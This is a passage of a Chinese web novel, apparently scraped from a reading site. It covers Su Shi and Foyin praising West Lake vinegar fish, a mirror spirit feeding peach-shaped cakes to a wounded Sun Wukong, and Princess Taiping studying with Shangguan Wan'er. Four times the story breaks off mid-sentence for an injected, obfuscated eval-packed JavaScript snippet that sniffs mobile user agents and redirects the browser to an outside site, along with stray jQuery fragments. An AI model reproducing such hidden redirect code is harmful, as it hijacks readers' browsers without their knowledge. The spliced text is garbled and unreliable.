“那贫僧可就当仁不让了!”佛印半点没有谦让的意思,他迫不及待地拿起筷子向盘里夹去,一筷雪白的鱼肉裹上酱汁入口,稍稍一抿便化作满嘴的咸鲜酸甜,如石子于湖面激起涟漪般次第晕开,一下子就把这和尚吃得笑逐颜开,“掌柜的,快拿碗米饭来,这么好的菜,不就饭吃那真是太可惜了。” “好嘞!”唐棠连忙答应道,“这米饭早就蒸好了,我这就打两碗来。” 苏轼此时却还在闭眼感受着这源远流长的回味,作为鱼菜,首重在鲜,次则及肥。而这道西湖醋鱼却是鲜肥并出,如此可见烹饪者选材的用心良苦。 嘴里首先涌现的是崭露头角的米醋味,带着少许酱油和姜末的煸香,随后则是春日里生机勃勃的湖鲜味,以最初浅薄的微酸最大限度吊出鱼肉的鲜嫩,最后才是令人回味无穷的丝丝甜意,恰到好处衬托出鱼肉的清鲜甘美,恍若一派天然。 “这鱼酸中透甜,嫩中有鲜。”苏轼一口尝罢,也是点评道,“倒是与西湖景中有画、画中有景有几分相似,被称作西湖醋鱼,也不算坠了西湖之名。” 一生与西湖作伴的苏轼,自然容不得一道料理被冠以西湖之名,却被人横遭指责,这岂不是堕了西湖的名头?如今尝到唐棠所烹制的这道西湖醋鱼,他才略微放心了一些。 “以酸提味,以甜增鲜。”佛印虽不善于烹饪,但在苏轼这尝过诸多美食,不仅胃口养刁了,对这菜品的精妙之处也能细细道来,“若是这糖醋比例不对,入口先甜,然后才酸,这便夺了这鱼的自然鲜甜了。” “正是如此!”品尝到绝佳美食的苏轼兴致高昂,眉飞色舞不亚于饮下绝世好酒的太白先生,“且让我问问你,你可知这鱼的精髓在哪里?” “精髓?”乍被苏轼一问,佛印有点摸不着头脑,便又夹了一筷子鱼肉细细品味,正当苏轼想出言提醒时,这和尚算是回过味来,“我刚刚就想说,这鱼吃起来……似乎有一点螃蟹的感觉?” “你这和尚如今也算开了窍!”苏轼大笑道,“正是蟹味!以酱醋糖姜佐以鲜嫩鱼肉,由此描绘出悠长蟹味,这便是这道鱼菜的精髓所在。掌柜的,我说的对吗?” 他最后扭过头去,向唐棠问道。 “东坡先生在厨道上果然是造诣匪浅。”听着苏轼的分析,唐棠点头道,“正如先生所言,这道菜的精髓就在于吃鱼寻蟹,西湖醋鱼之所以享有盛名,大半原因就在于此。” 所谓吃鱼寻蟹,便是最后出锅的醋鱼,肉质细嫩鲜美宛如蟹肉,再加上酱醋姜末以佐食,细品下来竟有螃蟹的味道,而整道菜便是一整盘不用劳神剥壳的湖蟹,也难怪当年备受追捧。 “那……”此时却是轮到佛印百思不得其解了,“那这后世杂记里所说,这西湖醋鱼酸味刺鼻,甜香黏腻,还有无论如何也盖不住的土腥气,这螃蟹味却是提都没提过啊!” “这鱼看似做法简单,实则极为细致。”面对佛印的疑问,唐棠开口解答道,“单论选材而言,这鱼须是一斤半的童子草鱼,肉质才算鲜美,入菜前还需活水饿养两天,以祛除土腥味。” 听唐棠讲到这里,苏轼这才恍然大悟,“怪不得我此前说要吃西湖醋鱼,掌柜的要让我先等上两日。” 鱼是越大越值钱,这后世店里的鱼大多是三斤起步,而且都是排着队赶着上锅,哪有空搁着饿养?这也难怪这鱼腥气难除。 “这还只是前边的粗浅工夫,倒也谈不上什么技巧,只需用心即可。”唐棠接着说道,“这汆鱼时用的是文武火,以大火收紧鱼肉,再以中火断生,断然不能久煮,这火候少一分则不熟,多一分则嫌老,也是极难把握的。” “这芡汁则是用小火熬出来的,浇上去需薄薄一层却又浓而不腻,才能味厚鲜美。” 这烹饪之道,向来是浓烈易至,清淡难为,倒也难怪后世里到处都是川渝菜馆,杭帮菜却难以跨出这一隅之地。 自杀鱼入锅,到撒姜出盘,这短短的时间内,烹饪的每个细节都需把握精细,才能成就这一盘西湖醋鱼。少了任何一道工序,最后的成品只会沦为后世里口诛笔伐的老醋鱼精。 “原来如此。”听完唐棠的解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960043|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释,佛印恍然大悟,他又问道,“但这草鱼腥重,难道就不能换别的鱼吗?也免得费这么多工夫。” “这话倒是不假。”苏轼也跟着说道,“若是换成鳜鱼或者黄鱼,不仅腥气浅淡,肉质还能再上一个层次。” “这便是问题所在了。”唐棠叹了一口气说道,“若是换了鱼,又如何能称得上是西湖醋鱼呢?” “这换了鱼,怎么就不算是西湖醋鱼了?”佛印有些丈二和尚摸不着头脑。 “我差点忘了,这西湖里哪来的鳜鱼黄鱼。”作为过往的杭州刺史,苏轼倒是马上反应过来,他此前曾在西湖垂钓,钓起最多的便是草鱼鲤鱼。 “而且这道菜的初衷,本就是以至廉至贱的草鱼,做出至贵至鲜的蟹味。”唐棠笑道,“想必发明此菜之人,是想让千家万户不论时节都能品尝到螃蟹的滋味吧,只可惜……” 即便唐棠后边的话没有说完,苏轼也能知晓她的意思。让人人得以品尝蟹味,这心思固然是好的,甚至有着大疪天下寒士俱欢颜的气魄在此,但却不曾考虑到这整道菜的筹备之精细,烹饪之繁复,又岂是平民百姓能得以复刻的呢? 即便后世的餐馆器具齐备、食材丰盛,竟然都难以复现出其味,只好浓汁满溢,铺天盖地加糖添醋,清淡蟹味自然早已荡然无存,只留下难以名状的酸甜味道,而这西湖醋鱼,自然也就背上了恶名。 “不过话又说回来,后世食客对这西湖醋鱼评价不高,除了这厨师技艺不精,难以做出其本味来,倒也还有另一方面的原因。”见苏轼和佛印两人唏嘘不已,唐棠眨巴眨巴眼睛,又缓缓说道。 “什么原因?”见唐棠故意卖关子,苏轼也配合着问道。 “如今世人除了湖蟹河蟹,还有海蟹能尝。若是嗜蟹之人,春能品北境海域的梭子蟹,夏能品壳薄肉嫩的六月黄,秋冬两季不必多说,平民百姓家里都能吃上大闸蟹……”唐棠一脸无辜的表情,故意抛出这后世种种美蟹勾起他们的馋虫,再心满意足地看着这一儒一僧瞪大了眼睛,“这只是粗浅与蟹味相似的西湖醋鱼,自然在大家心中不似以前那般尊崇了。” “等等……”苏轼伸出颤颤悠悠的手,不知是气的还是高兴的,开口向唐棠问道,“如今当真一年四季,家家户户都能吃上螃蟹?” “此言还能有假?”唐棠眨巴眨巴眼睛,她就知道这作为老饕的苏轼,听到这句话会是这个反应。 “比起汉唐,宋时世间已是繁华,但又如何能比得上后世。”苏轼摇了摇头,目光深邃,作仰天叹气状,“真是恨不能生在后世。” “天啊!那奈何桥孟婆汤在哪!贫僧这就下去投胎!”佛印表情就更为夸张了。 “倒也不必如此。”面对俩人的丰富颜艺,唐棠扶额说道,“若是东坡先生与佛印禅师有什么想吃的,随时来这里便是了。” “一言为定!”唐棠的话音未落,刚刚还故作可怜的佛印立马接道,而苏轼也笑吟吟地看着她。 唐棠这时才发现自己似乎中了俩人的计谋,不过,这又有什么关系呢? 忘川食肆的门,永远是为居于此地的英魂敞开的。 5. Chapter 005 蟠桃糕(一) 无光无响亦无风。 他的神魂,恍若被囚于那无垠的混沌寂静之地,那是一种比三尖两刃刀的锋刃更为锐利,比八卦炼丹炉的烈焰更为煎熬的痛楚,如同毒蛇般蜿蜒游走,直至浸透四肢百骸。 “大圣……” 他仿佛听见一声微茫的呼唤,如同茫茫的混沌之海里的一点熹微光线,让他在这无边的痛苦中,依旧能感受到自己的存在。 “大圣!” 孙悟空略一睁眼,便对上了一双清澈而空灵的眼睛,乌黑的眸子里正映着自己的身影,只是里面那消瘦凄楚的模样,连他自己都有些认不出了。 “是你啊,小镜灵。”孙悟空略一挑眉,正想跟唐棠打声招呼,牵扯皮肉的痛楚却让他一阵龇牙咧嘴,“呼……好痛……” 唐棠挎着竹篮立在原地,目光紧随其身,忧虑满眸,静默中透着淡淡忧心。 唐棠与孙悟空是许多年的旧相识,犹记得当年蟠桃盛宴,她作为西王母本命法宝昆仑镜的镜灵,全程见了这齐天大圣如何在九霄云外掀起滔天巨浪,搅得这天庭上下不得安宁。她素来对天庭诸仙那股盛气凌人之态嗤之以鼻,大圣这一闹,反倒让她暗暗称快,让她看了好长时间的热闹。 只是好景不长,后来如来佛祖出手,将孙悟空压在那五指山下。见他天天只能进食些铜丸铁汁,唐棠闲暇之余,偶尔会化作一道清风,飘至那五行山下,为大圣送去些天上的吃食,再跟他聊聊天解解闷。反正以她的身份,那看管五行山的五方揭谛自然不敢多言,只好睁一只眼闭一只眼,任由她来去自如。 俩人便是从那时渐渐熟稔起来的,即便后来孙悟空成了孙行者,与唐玄奘前往西天取经,她也曾明里暗里助过几回。 唐棠还对初次见到孙悟空时的景象记忆犹新,最深的印象便是那一身流光溢彩的金色皮毛,偶尔作法时金色灵瞳熠熠生辉,那酡红眼尾张扬肆意,配上那总有歪理胡搅蛮缠的嘴巴,让玉皇大帝都能气得跳脚。 可如今呢,那曾经傲视九霄、意气风发的身影,竟遍体鳞伤蜷缩在这忘川深处,显得格外凄凉。他的唇色已失去了往日的红润,略显灰白,道道骇人的伤口在他身上密布,这每一道都足以让寻常仙灵殒命,而他却硬生生承受了十余处之多。 “大圣,可还好?”每次凝视着孙悟空时,唐棠心中总会涌起一股难以言喻的酸楚。 “咳咳——”孙悟空刚想开口,却忍不住剧烈地咳了两声,那咳嗽声在空旷的山洞中回荡,显得格外刺耳。他吐出来的,并非淋漓的鲜血,而是墨黑如漆般的东西,犹汨汨地沸涌不停,散发着令人心悸的气息。 “放心吧,死不了。”他随意将这黑血抹了抹,声音沙哑着说道,“让开一点。” 唐棠闻言便让在一旁,同时施法在身前立下屏障,孙悟空瞥了她一眼,面色寂然,忽然间,山洞之内突闻万千声响交织,或如万丈惊雷轰鸣,或如幽冥阴风呼啸,或如熊熊圣火燃烧,更有山崩海啸、惊天动地。 随着这些声音响起,潜匿于伤痕里的无数气息也从孙悟空的躯壳中汹涌而出。那是雷神托尔的雷霆之锤,是冥王哈迪斯的冥府之镰,是天使长米迦勒的十字圣剑,更有湿婆的寂灭拳意,天照神的草薙剑,曾在他身上烙印下深可见骨的伤痕。 诸般气息犹如暴风骤雨,猛烈冲刷山洞的墙壁,致其裂痕纵横、满目疮痍。就连唐棠身前的屏障,也如风雨中的小小扁舟一样,蛛纹遍布,摇摇欲坠。 那究竟会有多痛呢?唐棠望向孙悟空的眼睛,那双金瞳炽烈无比,恨意熊熊,焰角自眼角蔓延,犹如惊心动魄的血泪,令人触目惊心。 不知过了多久,这泼天滔浪才逐渐停歇,唐棠连忙赶上去,以灵蕴滋润其神魂,才见孙悟空的伤势渐渐好转过来。 但唐棠所能疗愈的仅有外伤,对那道道伤痕里潜蕴的暗疾与杀意却是束手无策,只能任他在这里调息修养,再逐步排出体外。 “已经过了多久了?”孙悟空的面色苍白,神情委顿,唯眉眼间桀骜之气依旧不改。 “已经……”唐棠在心中默算,回答道,“快两百年了吧。” 准确地说,距离那场神佛凋零、仙魔尽殁的「末法之战」,已经189年了。 彼时,预言中的末法之劫犹如乌云压顶,沉沉笼罩于诸天万界之上。依预言所述,天地间将迎来一场空前绝后的大劫难,致使天地灵气枯竭,神佛仙魔皆成过往云烟,一时间,恐慌如瘟疫般蔓延开来。 在那股恐慌的驱使下,位于西方的天堂地狱、降临欧洲的阿斯加德、东瀛深处的高天原……往昔里界限分明、势同水火的异域神祇们,竟破天荒地携手结盟,向那遥远东方的天庭与灵山不宣而战。 若是能夺取那传说中的洞天福地、天材地宝,以及诸仙庇佑下繁茂昌盛的华夏之地,依他们所想,这末法之劫或许能得以安然度过。 而西方诸国也响应神谕之召,纷纷将贪婪的目光投向了遥远东方那黄金遍地的华夏古国。于是,浩浩荡荡的巨舰火炮,伴随着天上的神祇之战,一同向东方进发。 只是,他们终究还是低估了东方仙佛护佑华夏的决心。 那场旷日持久的惨烈战争,唐棠已经记不大清细节了,她只知时至今日连胜负都是个未知数。 若说胜了,可那西方列强以炮火轰开国门,华夏满目疮痍、赤地千里,生灵涂炭、苦难深重,几近亡国灭种的边缘,及至百年后方才有英杰横空出世力挽狂澜。 若说败了,可那亘古长存的西方诸神,与天庭灵山的漫天神佛一同化作风中云烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960044|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让所谓的长生不灭都成了一句笑谈,却刚好应了那末法之劫的预言。 忘川福地的荒芜幻灭,齐天大圣身上的累累伤痕,以及她支离破碎化作的千百碎片,便是拜那场大战所赐。但没落个魂飞魄散的下场,已算得上是万幸。 “才不过两百年。”孙悟空嗤笑一声,慢悠悠地说道,“我还以为这般难捱,或许已有八百年了,谁知竟还不到压在五行山下的一半。” “待俺老孙治好了伤,定要找那些家伙算算账!”他这样咬牙切齿地说着,在那一刹间,唐棠在其中捕捉到了一些很久远的东西,比如斜月三星洞,比如金箍棒,再比如红衣金甲,与大闹天宫的神采奕奕。 那是与后来的斗战胜佛截然不同的东西。 “可是,他们早已陨落了。”唐棠好心提醒道。 毕竟,这世间神佛,并非尽由那混沌初开时天地孕育的灵石所化,能受这般重创还不死不灭。 “那他们是回归冥界了是吧?”孙悟空冷笑道,“俺老孙最擅长的就是闹地府了。” 当年黑白无常把齐天大圣勾入地府,却没成想勾了个活阎王下去,不仅把地府闹得鸡飞狗跳,更是打得牛头马面抱头鼠窜,阎王慌慌张张往桌子下面钻,连生死簿都被一笔勾销。 “不仅是漫天神佛,冥界与地府也都已不存在了。”唐棠注视着他说道,“大圣,当年那场大战后,世间灵气凋敝,如今世人已难以修道成仙了。” 末法时代仙路断绝,天地间灵气稀薄,却也正是人道昌盛的科技时代。往昔里破碎虚空、飞天遁地、呼风唤雨的仙术神通,仿佛一夜之间从九天之上跌落尘埃,已是不再令人惊奇的寻常事了。 “那我的花果山,还有山上的猴子猴孙呢?”孙悟空闻言有些匪夷所思,他不过睡了一觉,这世间竟有了这么大变化? “似乎是被划成了国家级自然保护区,至于猴子猴孙,虽然再难开启灵智,也再难跳出轮回,但每日不愁吃喝,也算过得快活。”她前段时间还听说这猴山上的猴子连树上的桃子都不爱吃了,就爱吃那旺旺雪饼跟火腿肠。 昆仑镜能洞察天机,知晓古今,即便如今只余残片,少了许多威能,但唐棠身处忘川,依旧能洞悉世间事。 “这……”孙悟空却是发起了呆,忽然想起当年取经路上,唐玄奘陪他们解闷时所讲的观棋烂柯的故事。那樵夫上山打柴,误入神仙棋局对弈,待看罢一局,斧柄已成朽木,而人间已过数百年,再无一人识得他姓名。 孙悟空当时听罢只是感叹,凡人生命短如蝼蚁,不过区区百年而已,竟再无亲友故交。像这神仙中人,寻个洞府闭关百年,只是寻常事罢了。 但如今不过两百年,他再度醒来时,这世间竟已陌生得让他看不见以前的影子了。 6. Chapter 006 蟠桃糕(二) “这帮老官儿们平日掐诀算卦何等威风,临了倒把自己填了劫数,闹得这么个下场。”孙悟空习惯性地抓耳挠腮,不知该作何评价,这世间灵脉虽细若游丝,但若说枯竭之时,却至少还有上千年的时间。但那西方众神却非要上演个诸神黄昏的戏码,属于仙神的时代便就此落幕了。 他回想起那时火眼金睛穿透三十三重天所见到的景象,但见灵霄殿坍作焦土,兜率宫丹炉倾覆的炉灰正陨落世间,西天灵山的大雷音寺,也只剩一片断壁残垣。 “或许,这便是命吧。”想着就连极少出现在外界的西王母也未能逃过此劫,唐棠苦笑着说道,“不论如何挣扎也是徒劳。” “别着了那帮和尚道士的道,信什么天道命运的说辞。”孙悟空摆了摆手,“若是信命,我老孙现在还是块天天被风吹日晒的石头呢。” 孙悟空虽为斗战胜佛,但听闻仙佛消散的事情后,心底虽有些感伤,但并不似唐棠那般而哀恸万分。他在天上天下这么些年,早就将这世道看得通透,依照他的想法,当扬州盐船载得动四海龙王的定海珠,当赤膊汉子挥着锄头能让黄河改道,这人力又与神力何异?这世间早就该属于凡人本身,也再也不需要神佛庇佑了。 从此求雨不必拜龙王,治病无需供药叉,这朗朗乾坤,与诸天命运,都由凡人自己决定,这样也未尝不是一件好事。 只是这样大逆不道的想法,孙悟空自然不会说出口自讨没趣,不待唐棠回答,他又问道,“那你这些年在干嘛呢?” “天庭地府已然崩毁,这世间虽再无人得道成仙,但死后魂灵却也无处可去。”唐棠回忆着这两百年过往,徐徐解释道,“因此,我便以昆仑镜积蓄灵蕴重塑忘川,在这方小世界里重立地水火风,再启轮回之序,以代地府之能。” 天地若无轮回之道,则阴魂充盈于世,继而夺舍重生如乱麻纠葛纷至沓来,善恶无以明辨,仇恨难以消解,战火也将燎原不息,乱世则永无止境。 世间纷扰,莫此为甚。 “这倒是只有昆仑镜才能办到的法子。"比起盘古斧、东皇钟那般威力滔天的先天灵宝,昆仑镜虽不善于对敌,但妙用却是无穷,孙悟空看着她的脸,忽然笑道,“你知道吗?你刚刚的神情,不像西王母,倒更像另一位。” “像谁?”唐棠下意识问道,孙悟空的想法总是这般跳脱,三界六道能跟上他的想法的,那都是屈指可数。 “南海洛迦山,大慈大悲观世音菩萨。”孙悟空慢悠悠说道,他与观音菩萨极为熟稔,这话从他口中说出,自然有几分可信度。 尤其是那眼中流露的慈悲,恍若阅尽人间千百贪嗔、万般罪愆,而目中所映却依旧是无尽的温柔与怜惜,包容着世间每一份的苦楚与挣扎。 “我哪敢与那位菩萨相提并论。”唐棠只当他在说笑,“对了,大圣可想吃些东西?我带了些点心可要尝尝?” 她时常来这忘川深处探望,早已算准孙悟空苏醒的时机,因此提前备了点心在此处候着。沉睡这么多年,即便是铜头铁臂,醒来总归是有些饿的。更何况此地虽然灵气相对充沛一些,但比起从前花草虫鸟皆能通灵成妖的洞天福地,却是远远不及的。 “刚刚我见你挎着竹篮,还以为自个儿还在五行山下呢。”孙悟空笑道,当年他被压在那如来佛的五指山下,唐棠不但常常挎着个竹篮来看望他,还威胁旁边的五方揭谛不许跟上边打小报告,否则今后的蟠桃宴都没有他们的份儿。 可怜那五方揭谛是敢怒不敢言,虽说肩负着看押监视的职责,但也对孙悟空客气了许多,生怕惹恼了这位西王母身旁的贵人。拜她所赐,孙悟空那五百年的生活虽说有些无聊,但也不算难熬。 “你当年闹那蟠桃宴,挑挑拣拣吃了个一片狼藉,倒是把我亲手做的都选出来了。”唐棠笑着说道,“那可是王母娘娘最爱吃的点心,也难怪她那么生气。” 不知是受何误解,世人总以为西王母与玉皇大帝是一对,可玉皇大帝不过掌管天庭群仙,而西王母却是天下女仙之首、掌管昆仑仙山,若论辈分可比那玉皇大帝还大上几辈呢。 而更好笑的是后世凡人总爱臆造些仙凡痴缠,传闻里的西王母不是与周穆王互生情愫,就是与燕昭王驾鹤同游,却不知他们眼中引以为傲的帝王身份,连昆仑山脚打盹的陆吾神君都从不放在眼里。 “这不显得俺老孙慧眼独具,眼光好嘛!”孙悟空这一句话,却是把两个人一同都夸上了。 唐棠从竹篮里将她备好的糕点拿了出来,孙悟空却是眼前一亮,大笑道,“还是你最懂老孙,竟把园子里的蟠桃摘来了。” “王母娘娘的蟠桃园早已毁了,我上哪儿给你寻桃子去。”唐棠云淡风轻地说着这样惨淡的事实,“你再好好瞧瞧,这哪是蟠桃?” “这不是蟠桃还能是什么?”孙悟空拿过那光鲜红润的桃子,刚一入手便觉得不对,那手感蓬松绵软,竟是蟠桃模样的糕点! “你这厨艺是愈发精进了。”孙悟空颇觉稀奇,爱不释手地拿着桃子转来转去看了又看,“这光从外表上来看,竟是与蟠桃别无二致。” 倒也不怪大圣一眼没分辨出来,那绯红粉嫩的桃子饱满圆润,还散发着沁人心脾的清新桃香,若是挂上枝头,再配上灼灼桃花、蓁蓁桃叶,任王母娘娘来了怕也难辨出个真假。 “你且尝尝。”对于孙悟空的夸奖,唐棠显然很是受用。 孙悟空倒也没跟她客气,就跟当年囫囵吞那人参果一般,一口就咬掉大半,三五两下咽下去后,那火眼金睛却是一亮,赞叹道,“真好吃!” 那蟠桃糕岂止是形肖蟠桃宛若天成,这带着几抹桃红娇艳的米糕,初入口时便是一股几欲引人沉醉的软糯,恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960045|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似春风拂过江南水乡,温柔得能化了心头的冰雪。更妙的是,那发酵而来的缱绻酒香也似山涧清泉,不与米糕的甜糯相争,而是顺着喉间蜿蜒而下,在鼻息间轻舞缠绵。 “真是好久没吃到这么好吃的糕点了。”西王母一向不愿与释教中人过多来往,孙悟空封了斗战胜佛后,唐棠见他的时日便少了许多,以至于他如今的话语里似乎还有一点怨言,“唉,那青灯古卷诵经念佛的日子,哪是我熬得住的。” 而这蟠桃糕的内馅儿里更是如熟透的桃子般软嫩多汁,里面还掺了点脆桃块,清脆甘甜如同刚从枝头撷下似的,而后馥郁的桃香与丰沛的汁水便如瀑布般澎湃地涌到嘴里,甚至差点顺着手肘流下来,他就仿佛是一头扎进了蜜桃所做的筋斗云里,就连周围的空气也染上了一丝甜蜜。 “还有吗还有吗?”孙悟空连着问了两声,那双金瞳亮晶晶的,竟是一个还没吃过瘾。 "当然有。”唐棠知道,这位可是独自就能祸害一大片蟠桃树的主,那一个定然是不够的,她将那竹篮递过去,“喏,这都是大圣的。” “若是当年玉帝老儿有你这般上道,我也就饶了他那灵霄宝殿了。”孙悟空边从竹篮里往外拿,边跟唐棠笑嘻嘻说道。 这齐天大圣倒也不跟故友客气,跷着脚倚在这洞府壁上,一手支颌,另一手抓着桃糕便往嘴里咔咔直送,不过须臾光景,这一篮子桃糕便消失得无影无踪,他打了个饱嗝,往这洞外望去,这小世界里一片漆黑,可惜不能找根树杈躺着晒晒太阳。 叙旧也差不多到了尾声,唐棠收拾着这洞里狼藉,问道,“大圣今后有什么打算?” “当然是先养伤。”孙悟空懒懒答道,“等养好了伤,再去跟那帮家伙算账。” 孙悟空从前讲究个冤有头债有主,若是谁惹恼了他,他便只找那人寻仇,绝不找那人的亲朋故友。 可在天上天下这几遭下来,瞧那花果山几番遭劫的模样,他却是明白了,复仇的方式却是不只一种。 “虽然我不喜欢天庭,不喜欢灵山,但那仇,我总归还是要报了的。” 孙悟空再度阖上眼眸,千年来的种种在他的眼前浮现,那萦绕在他耳边却让他讨厌不起来的诵经声,那憨头憨脑吃了亏总是不长记性的呆子,那寡言少语却跟着他走了好远好远的木头,还有…… 如果他猜得不错的话,他们,都已经不在了啊。 “你这小镜灵,虽有颇多神通,但总归是不善争斗。”在唐棠离去之前,她听见孙悟空这样说道,“若是有用得上我这齐天大圣的地方,尽管说便是了。” 少女闻言便回过头去,仿佛心有灵犀般,孙悟空蓦地昂起头颅与少女对视,那一刻,那抹金红在他眸中流连,即便隔了不知多久多远,那抹色彩依旧璀璨夺目,好像某种久远的余火。 兀自燃烧不息。 7. Chapter 007 春饼(一) “老吾老,以及人之老;幼吾幼,以及人之幼,天下可运于掌。” 这是孟子昔年觐见齐宣王时所陈治国之道,经少女温婉声音诵读,犹若清泉淌过玉石,字字珠玑,声声入心,别有一番韵味。 “孟子有云,仁者爱人。而仁政之道,存乎心而在于行。”上官婉儿捧着书卷缓缓讲着,“太宗陛下也常说,水能载舟,亦能覆舟……殿下,您可记住了?” 昂贵的龙脑香化作熏烟,自那鎏金兽首香炉的兽口中缓缓流出,上官婉儿将手中书卷一放,话语一停,却是探过身去看几案旁一直写写画画的太平公主。 上官婉儿本以为太平公主是在认真记录笔记,凑近了一看,那宣纸上满是鬼画符,却是跟她刚刚讲的半点关系也沾不上。 “记住了记住了。”太平公主动作飞快地将宣纸掩覆,连忙应声道,她指了指自己的脑门,“前世婉儿便陪我在太傅那学过的,这里可都记得清清楚楚。” “那你说说,我刚刚讲了什么?”上官婉儿太熟悉她的性子,可不会被轻易糊弄。 “这个嘛,大概是孟夫子引经据典,力陈仁政之要……”太平公主眸光流转,狡黠之色一闪而过,言语间已开始天马行空,“这道理固然都是对的。不过我觉得,这孟夫子当真是不解风情,那梁惠王问他怎么洗刷败军失地之辱,他却偏偏将话题引至仁政上。” “还有那齐宣王,欲知霸主之道,比肩齐桓晋文,这孟夫子可倒好,说了句不知道,又把话题绕回了仁政上,当真是答非所问。若是他于母亲面前这般胡诌,怕不待言毕,便已领了板子……哎哟!” 虽然无从知晓孟子若是劝说那位女帝施行仁政是否会真遭责罚,但太平公主话音未落,就被上官婉儿卷起书卷敲了脑瓜,“你呀,不可对先贤不敬!” 上官婉儿力度甚微,近乎宠溺,但太平公主却开始耍赖了,她捂着脑袋说道,“坏了坏了,我好像被敲傻了,婉儿,你且考考我,这一日里究竟有多少个时辰?我好像记得似乎有十三个?” “殿下。”上官婉儿轻叹一声,语气中带着几分无奈,“你再这般胡闹,若是让则天陛下知晓了,定会责罚你的。” “哎呀,不要总是拿母亲来压我嘛。”太平公主一听到自家母亲的名字,立时收敛了几分,但仍不甘心地小声嘀咕,“母亲也真是的,都身处忘川了,却还要我日日苦读勤练,哪有什么必要嘛!” 若说以往念书习字,那是为了日后的治国理政做铺垫,太平公主还算得上是手不释卷,寒暑无间,圣贤经传也早就熟稔于心。 但今朝身在忘川,政事烦扰都成了过往云烟,宫廷心计也抛之脑后,她只想捧上一壶佳茗,与上官婉儿在忘川畔边围炉煮茶,或是去棠梨坊里听听小曲儿。至于那四书五经,却是心生厌倦,再无半点兴致。 更何况,她前世如此钻研经国治世之道,可后来才发现,原来母亲从未有过传位于她的意思,一想到这事儿,就让太平公主见着这书本更是心生烦躁。 “能读书习字,终是益处多多。”上官婉儿语调平和,不急不缓,“这世间不知有多少人,求之而不得,殿下还当珍惜。” 想当年,上官婉儿身为罪臣之女,身陷掖庭那等幽暗之地,却日夜勤勉不曾放下手中书卷,终因聪慧善文而受重用,一度还曾执掌朝纲,权倾一时,这话从她嘴里道出,倒是分外有说服力。 “好好好……”太平公主知晓自己若稍有迟疑,接踵而至的必是一番大道理,她也就退而求其次,换了个说法,“不过这《四书》前世都已学过,反复咀嚼也不过陈年旧酿,没多大意思。倒不如婉儿与我讲讲那后世名作,譬如那西厢记、龙图公案之类的……” 她提及的两书,皆为市井巷陌间流传的话本小说,见上官婉儿眉宇间隐隐泛起不悦之色,太平公主心念电转,急忙又添上几分诚意,“若不然,三国演义或是西游记也行!” 太平公主本以为此言一出,定会换来上官婉儿的一番推辞,却不料上官婉儿答道,“若殿下能每日持之以恒,静心习字一个时辰,我便与殿下讲这后世话本。” “此言当真?”太平公主眼前一亮,伸手拉着她的衣角喜形于色,“婉儿你可太好了!” 让上官婉儿伴读于太平公主身侧,倒也是武则天的无奈之举。这忘川之上虽名士如云,但不是寄情山水,就是醉心诗酒,愿意当这陪读先生的,却是打着灯笼也找不着。 但话又说回来,这念书习字,本质上不过是想让太平公主磨炼心性、消遣时间,至于念什么书习什么字,倒还是次要的。 毕竟,若不寻这么个缘由磨磨她的性子,只怕这忘川城内,李唐皇族飞扬跋扈之名,便要传得无人不知、无人不晓了。 “那今天就先念到这里吧。”上官婉儿轻柔地将手中书册置于几案上,见太平公主一听不用念书,立马开心地将手中毫笔丢到一旁,却也是忍不住莞尔一笑,“殿下待会儿是想去那忘川河畔走走,还是去那金戈馆看看热闹?” 忘川河畔风吹草柔,虽当下寒意未消,但河畔边上,却已见点点绿意悄然萌生。而那金戈馆,则是忘川城内的演武圣地,名将猛士常聚于此习武弄剑。太平公主最是喜欢凑热闹,因此常在金戈馆中观武赏剑,乐此不疲。 “今儿呀!这俩地方都不去!”太平公主神采奕奕地说道,“咱们去那忘川食肆逛逛!” “忘川食肆?”上官婉儿却从未听过,她好奇问道,“这忘川里竟有食肆?殿下是打哪儿知道的。” “前些日子与那东坡先生聊天时,他偶然提起过那一间食肆,说那掌柜手艺超凡入圣,烹制佳肴的美味,足可绕梁三日而不绝。”太平公主这样夸张地说着,回想起苏轼与她聊天时所说的西湖醋鱼的美味, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 